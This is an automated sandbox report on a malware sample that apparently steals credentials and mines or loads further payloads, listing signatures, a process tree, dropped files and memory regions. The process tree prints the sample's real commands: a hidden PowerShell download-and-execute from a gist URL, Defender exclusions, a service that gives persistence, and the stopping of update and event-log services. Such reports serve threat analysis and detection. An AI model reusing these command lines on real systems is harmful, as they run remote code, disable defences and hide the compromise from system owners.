Analysis

  • max time kernel
    151s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/09/2026, 11:23

General

  • Target
    2026-09-21_995f8d4fb0d8b2b72944a3bb43a8437f_akira.exe
  • Size 48.7MB
  • Sample260922-nhc8ssda79
  • SHA256 2db57a57eba5e755ffded82b42d1ac93e977a04d56b9b8948537c2facc7f2abc
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Detect binaries embedding considerable number of MFA browser extension IDs. 2 IoCs
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 2 IoCs
  • Detects executables Discord URL observed in first stage droppers 2 IoCs
  • Detects executables referencing many confidential data stores found in browsers, mail clients, crypt 2 IoCs
  • Detects executables using Telegram Chat Bot 2 IoCs
  • UPX dump on OEP (original entry point) 2 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file 2 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Creates new service(s) 2 TTPs
  • Executes dropped EXE 8 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 59 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-21_995f8d4fb0d8b2b72944a3bb43a8437f_akira.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-21_995f8d4fb0d8b2b72944a3bb43a8437f_akira.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3736
    • C:\Windows\Temp\file1.exe
      "C:\Windows\Temp\file1.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:5800
    • C:\Windows\Temp\file2.exe
      "C:\Windows\Temp\file2.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4932
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "irm https://gist.githubusercontent.com/Relagg/801c6a4b2bef483c8ed42705c421109f/raw/6fb4cfc8cfb2cc4baac1d74e677d862fd005b8d5/ | iex"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4084
        • C:\Users\Admin\AppData\Local\Temp\loader.exe
          "C:\Users\Admin\AppData\Local\Temp\loader.exe"
          4⤵
          • Modifies WinLogon for persistence
          • Drops file in Drivers directory
          • Executes dropped EXE
          • Drops file in System32 directory
          • Suspicious use of WriteProcessMemory
          PID:1852
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows\System32\drivers' -ErrorAction SilentlyContinue"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2980
          • C:\Windows\System32\ShellProtection.exe
            "C:\Windows\System32\ShellProtection.exe"
            5⤵
            • Executes dropped EXE
            PID:2672
        • C:\Users\Admin\AppData\Local\Temp\smss.exe
          "C:\Users\Admin\AppData\Local\Temp\smss.exe"
          4⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          PID:2640
          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:5420
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
            5⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2368
            • C:\Windows\System32\wusa.exe
              wusa /uninstall /kb:890830 /quiet /norestart
              6⤵
                PID:2092
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop UsoSvc
              5⤵
              • Launches sc.exe
              PID:4388
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop WaaSMedicSvc
              5⤵
              • Launches sc.exe
              PID:4464
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop wuauserv
              5⤵
              • Launches sc.exe
              PID:4512
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop bits
              5⤵
              • Launches sc.exe
              PID:680
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop dosvc
              5⤵
              • Launches sc.exe
              PID:4180
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
              5⤵
              • Power Settings
              PID:2332
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
              5⤵
              • Power Settings
              PID:4928
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
              5⤵
              • Power Settings
              PID:3720
            • C:\Windows\system32\powercfg.exe
              C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
              5⤵
              • Power Settings
              PID:2036
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe delete "Q6NBE8XO"
              5⤵
              • Launches sc.exe
              PID:992
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe create "Q6NBE8XO" binpath= "C:\ProgramData\j8zbv1x1inu6\ggxttramu14w.exe" start= "auto"
              5⤵
              • Launches sc.exe
              PID:5868
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe stop eventlog
              5⤵
              • Launches sc.exe
              PID:4340
            • C:\Windows\system32\sc.exe
              C:\Windows\system32\sc.exe start "Q6NBE8XO"
              5⤵
              • Launches sc.exe
              PID:3632
          • C:\Users\Admin\AppData\Local\Temp\Axactt.exe
            "C:\Users\Admin\AppData\Local\Temp\Axactt.exe"
            4⤵
            • Executes dropped EXE
            • Accesses Microsoft Outlook profiles
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:2424
    • C:\Windows\System32\drivers\vulndriver.sys
      C:\Windows\System32\drivers\vulndriver.sys
      1⤵
      • Executes dropped EXE
      PID:4120
    • C:\ProgramData\j8zbv1x1inu6\ggxttramu14w.exe
      C:\ProgramData\j8zbv1x1inu6\ggxttramu14w.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3692
      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        PID:2560
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1204
        • C:\Windows\System32\wusa.exe
          wusa /uninstall /kb:890830 /quiet /norestart
          3⤵
            PID:4912
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop UsoSvc
          2⤵
          • Launches sc.exe
          PID:1972
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop WaaSMedicSvc
          2⤵
          • Launches sc.exe
          PID:5348
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop wuauserv
          2⤵
          • Launches sc.exe
          PID:2196
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop bits
          2⤵
          • Launches sc.exe
          PID:764
        • C:\Windows\system32\sc.exe
          C:\Windows\system32\sc.exe stop dosvc
          2⤵
          • Launches sc.exe
          PID:5676
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
          2⤵
          • Power Settings
          PID:1176
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
          2⤵
          • Power Settings
          PID:2468
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
          2⤵
          • Power Settings
          PID:5308
        • C:\Windows\system32\powercfg.exe
          C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
          2⤵
          • Power Settings
          PID:2120
        • C:\Windows\system32\conhost.exe
          C:\Windows\system32\conhost.exe
          2⤵
            PID:1436
          • C:\Windows\system32\dwm.exe
            dwm.exe
            2⤵
              PID:5892

          Network

                MITRE ATT&CK Enterprise v16

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                Downloads

                ModuleAnalysisCache

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                • Size 67KB
                • SHA256 50b9dc324634108ff1aa98008c68c20b19c4e982d377c82afc12ea505ff598bd
                • MD5 SHA1 SHA512 SSDEEP TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 689386a73d7689b32945a282465b8eb6e79683197d2ec4b88fafded0ba885612
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
                • MD5 SHA1 SHA512 TLSH

                Axactt.exe

                • Path C:\Users\Admin\AppData\Local\Temp\Axactt.exe
                • Size 489KB
                • SHA256 dd978a89a5e087208c32ae0f864093dc7e5bf7325bb838d86eadb21364852cc0
                • MD5 SHA1 SHA512 SSDEEP TLSH

                __PSScriptPolicyTest_ngx0avek.i0b.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ngx0avek.i0b.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                loader.exe

                • Path C:\Users\Admin\AppData\Local\Temp\loader.exe
                • Size 2.4MB
                • SHA256 0023a6f77b6fc20641da4845d6247af807f78b834d4c9f6900eec36372136d0c
                • MD5 SHA1 SHA512 SSDEEP TLSH

                LangDLL.dll

                • Path C:\Users\Admin\AppData\Local\Temp\nsc219A.tmp\LangDLL.dll
                • Size 8KB
                • SHA256 2e08e077a0800ec39c0596f4dd91cbbfa917eeef2d75a00767917b8d1f6884ac
                • MD5 SHA1 SHA512 SSDEEP TLSH

                System.dll

                • Path C:\Users\Admin\AppData\Local\Temp\nsc219A.tmp\System.dll
                • Size 28KB
                • SHA256 b89448b9fd7be5ef215cac6d973a57c0e75e1fffa25552afe174855c9b71fdf9
                • MD5 SHA1 SHA512 SSDEEP TLSH

                nsDialogs.dll

                • Path C:\Users\Admin\AppData\Local\Temp\nsc219A.tmp\nsDialogs.dll
                • Size 14KB
                • SHA256 778b2bfbf3f4e641161f40c8174442a4d3865f097e3a2a383356dbfcac8005ab
                • MD5 SHA1 SHA512 SSDEEP TLSH

                smss.exe

                • Path C:\Users\Admin\AppData\Local\Temp\smss.exe
                • Size 3.1MB
                • SHA256 46a9bd889339e56615ba5387bb14373bb9fc99bd7dcc45ccd9c399a9c658d000
                • MD5 SHA1 SHA512 SSDEEP TLSH

                ShellProtection.exe

                • Path C:\Windows\System32\ShellProtection.exe
                • Size 1.2MB
                • SHA256 0dab0f1b981d1847be9b07ffa7939332b51f46e4841d65413f83bc5947bec4f3
                • MD5 SHA1 SHA512 SSDEEP TLSH

                vulndriver.sys

                • Path C:\Windows\System32\drivers\vulndriver.sys
                • Size 37KB
                • SHA256 ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8
                • MD5 SHA1 SHA512 SSDEEP TLSH

                file1.exe

                • Path C:\Windows\Temp\file1.exe
                • Size 46.3MB
                • SHA256 39d854e35cb9adbef66664ce8297db5093d58efcb85a87b8dab55d6afb4dc7e7
                • MD5 SHA1 SHA512 SSDEEP TLSH

                file2.exe

                • Path C:\Windows\Temp\file2.exe
                • Size 1.2MB
                • SHA256 6c9da9445025f7076b55379c58dcc0231f1432b8e540c0a551012daaa90f0955
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/1436-100-0x0000000140000000-0x0000000140035000-memory.dmp

                memory/1436-97-0x0000000140000000-0x0000000140035000-memory.dmp

                memory/1436-99-0x0000000140000000-0x0000000140035000-memory.dmp

                memory/1436-98-0x0000000140000000-0x0000000140035000-memory.dmp

                memory/1436-96-0x0000000140000000-0x0000000140035000-memory.dmp

                memory/1852-71-0x00007FF798360000-0x00007FF798579000-memory.dmp

                memory/2424-53-0x0000025CD2490000-0x0000025CD24E0000-memory.dmp

                memory/2424-51-0x0000025CB7F10000-0x0000025CB7F90000-memory.dmp

                memory/2424-52-0x0000025CB9BC0000-0x0000025CB9BD2000-memory.dmp

                memory/2672-72-0x00007FF7F50C0000-0x00007FF7F51A3000-memory.dmp

                memory/3736-7-0x00007FF739190000-0x00007FF73C1FA000-memory.dmp

                memory/4084-17-0x000002166F030000-0x000002166F1F2000-memory.dmp

                memory/4084-16-0x00000216564E0000-0x0000021656502000-memory.dmp

                memory/4084-20-0x000002166EF60000-0x000002166EF7E000-memory.dmp

                memory/4084-21-0x000002166F200000-0x000002166F2B2000-memory.dmp

                memory/4084-22-0x000002166EB00000-0x000002166EB0A000-memory.dmp

                memory/4932-27-0x00007FF7D4000000-0x00007FF7D413B000-memory.dmp

                memory/4932-121-0x00007FF7D4000000-0x00007FF7D413B000-memory.dmp

                memory/5800-26-0x0000000074180000-0x000000007418A000-memory.dmp

                memory/5800-91-0x0000000000400000-0x000000000046E000-memory.dmp

                memory/5800-92-0x0000000074180000-0x000000007418C000-memory.dmp

                memory/5800-93-0x0000000073A60000-0x0000000073A6F000-memory.dmp

                memory/5800-106-0x0000000000400000-0x000000000046E000-memory.dmp

                memory/5800-110-0x0000000000400000-0x000000000046E000-memory.dmp

                memory/5800-25-0x0000000000400000-0x000000000046E000-memory.dmp

                memory/5800-8-0x0000000000439000-0x000000000043A000-memory.dmp

                memory/5892-103-0x0000000140000000-0x000000014080E000-memory.dmp

                memory/5892-105-0x0000000140000000-0x000000014080E000-memory.dmp

                memory/5892-104-0x0000000140000000-0x000000014080E000-memory.dmp